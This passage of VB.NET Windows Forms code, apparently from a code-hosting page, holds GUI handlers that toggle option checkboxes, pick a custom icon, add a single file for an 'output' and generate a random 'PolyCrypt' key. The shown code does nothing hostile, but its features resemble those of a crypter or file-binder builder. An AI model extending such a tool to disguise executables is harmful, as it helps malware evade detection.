CheckBox47.Checked = True
CheckBox48.Checked = True
CheckBox70.Checked = True
Else
TabControl1.TabPages(4).Enabled = False
CheckBox33.Checked = False
CheckBox34.Checked = False
CheckBox35.Checked = False
CheckBox36.Checked = False
CheckBox37.Checked = False
CheckBox38.Checked = False
CheckBox39.Checked = False
CheckBox40.Checked = False
CheckBox41.Checked = False
CheckBox42.Checked = False
CheckBox43.Checked = False
CheckBox44.Checked = False
CheckBox45.Checked = False
CheckBox46.Checked = False
CheckBox47.Checked = False
CheckBox48.Checked = False
CheckBox70.Checked = False
End If
End Sub
Private Sub CheckBox76_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox76.CheckedChanged
If CheckBox76.Checked = True Then
TabControl1.TabPages(6).Enabled = True
Else
TabControl1.TabPages(6).Enabled = False
End If
End Sub
Private Sub RadioButton15_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton15.CheckedChanged
If RadioButton15.Checked = True Then
NumericUpDown6.Enabled = True
Else
NumericUpDown6.Enabled = False
End If
End Sub
Private Sub RadioButton16_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton16.CheckedChanged
If RadioButton16.Checked = True Then
NumericUpDown7.Enabled = True
Else
NumericUpDown7.Enabled = False
End If
End Sub
Private Sub CheckBox49_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox49.CheckedChanged
If CheckBox49.Checked = True Then
CheckBox33.Checked = True
CheckBox34.Checked = True
CheckBox35.Checked = True
CheckBox36.Checked = True
CheckBox37.Checked = True
CheckBox38.Checked = True
CheckBox39.Checked = True
CheckBox40.Checked = True
CheckBox41.Checked = True
CheckBox42.Checked = True
CheckBox43.Checked = True
CheckBox44.Checked = True
CheckBox45.Checked = True
CheckBox46.Checked = True
CheckBox47.Checked = True
CheckBox48.Checked = True
CheckBox70.Checked = True
Else
CheckBox33.Checked = False
CheckBox34.Checked = False
CheckBox35.Checked = False
CheckBox36.Checked = False
CheckBox37.Checked = False
CheckBox38.Checked = False
CheckBox39.Checked = False
CheckBox40.Checked = False
CheckBox41.Checked = False
CheckBox42.Checked = False
CheckBox43.Checked = False
CheckBox44.Checked = False
CheckBox45.Checked = False
CheckBox46.Checked = False
CheckBox47.Checked = False
CheckBox48.Checked = False
CheckBox70.Checked = False
End If
End Sub
Dim ooo As New OpenFileDialog
Private Sub MButton2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton2.Click
ooo.DefaultExt = "ico"
ooo.Filter = "Icon Files (*.ico*)|*.ico*"
ooo.FilterIndex = 1
ooo.FileName = ""
If ooo.ShowDialog(Me) = 1 Then
TextBox2.Text = ooo.FileName
Try
PictureBox2.Image = ReturnIcon(TextBox2.Text, 0).ToBitmap()
Catch
End Try
End If
End Sub
Declare Function ExtractIcon Lib "shell32.dll" Alias "ExtractIconExA" (ByVal lpszFile As _
String, ByVal nIconIndex As Integer, ByRef phiconLarge As Integer, ByRef phiconSmall As _
Integer, ByVal nIcons As Integer) As Integer
Private Function ReturnIcon(ByVal Path As String, ByVal Index As Integer, Optional ByVal small As Boolean = False) As Icon
Dim BI, SI As Integer
ExtractIcon(Path, Index, BI, SI, 1)
If BI = 0 Then
ExtractIcon(Path, 0, BI, SI, 1)
End If
If BI <> 0 Then
If small = False Then
Return Icon.FromHandle(BI)
Else
Return Icon.FromHandle(SI)
End If
Else
Return Nothing
End If
End Function
Private Sub MButton3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton3.Click
Dim ofd As New OpenFileDialog
If ListView1.Items.Count = 1 Then
MessageBox.Show("You cannot add more files because the author hasn't figured out how to work around the double size bug for the output.", "Attention", MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
Exit Sub
End If
ofd.Filter = "All Files (*.*)|*.*"
ofd.InitialDirectory = My.Computer.FileSystem.SpecialDirectories.Desktop
If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
For i = 0 To ListView1.Items.Count - 1
If ListView1.Items.Item(i).Tag = ofd.FileName Then
Exit Sub
End If
Next
ImageList1.Images.Add(Path.GetFileName(ofd.FileName), Icon.ExtractAssociatedIcon(ofd.FileName))
With ListView1.Items.Add(Path.GetFileName(ofd.FileName))
.SubItems.Add(Path.GetExtension(ofd.FileName))
Dim size As Long = My.Computer.FileSystem.GetFileInfo(ofd.FileName).Length
Dim sized As String
If size > 1024 Then
size = size / 1024
sized = size.ToString + " KB"
If size > 1024 Then
size = size / 1024
sized = size.ToString + " MB"
If size > 1024 Then
size = size / 1024
sized = size.ToString + " GB"
End If
End If
Else
sized = size.ToString + " Bytes"
End If
.SubItems.Add(sized)
.ImageIndex = ImageList1.Images.Count - 1
.Tag = ofd.FileName
End With
End If
End Sub
Private Sub MButton4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton4.Click
Dim item As ListViewItem
For Each item In ListView1.SelectedItems
ListView1.Items.Remove(item)
Next
End Sub
Private Sub MButton9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton9.Click
Dim xx As String
xx = Guid.NewGuid.ToString & Guid.NewGuid.ToString & Guid.NewGuid.ToString
Label16.Text = Encryption_Algorithms.PolyCrypt(xx)
End Sub
End Class
Reference in New Issue Copy Permalink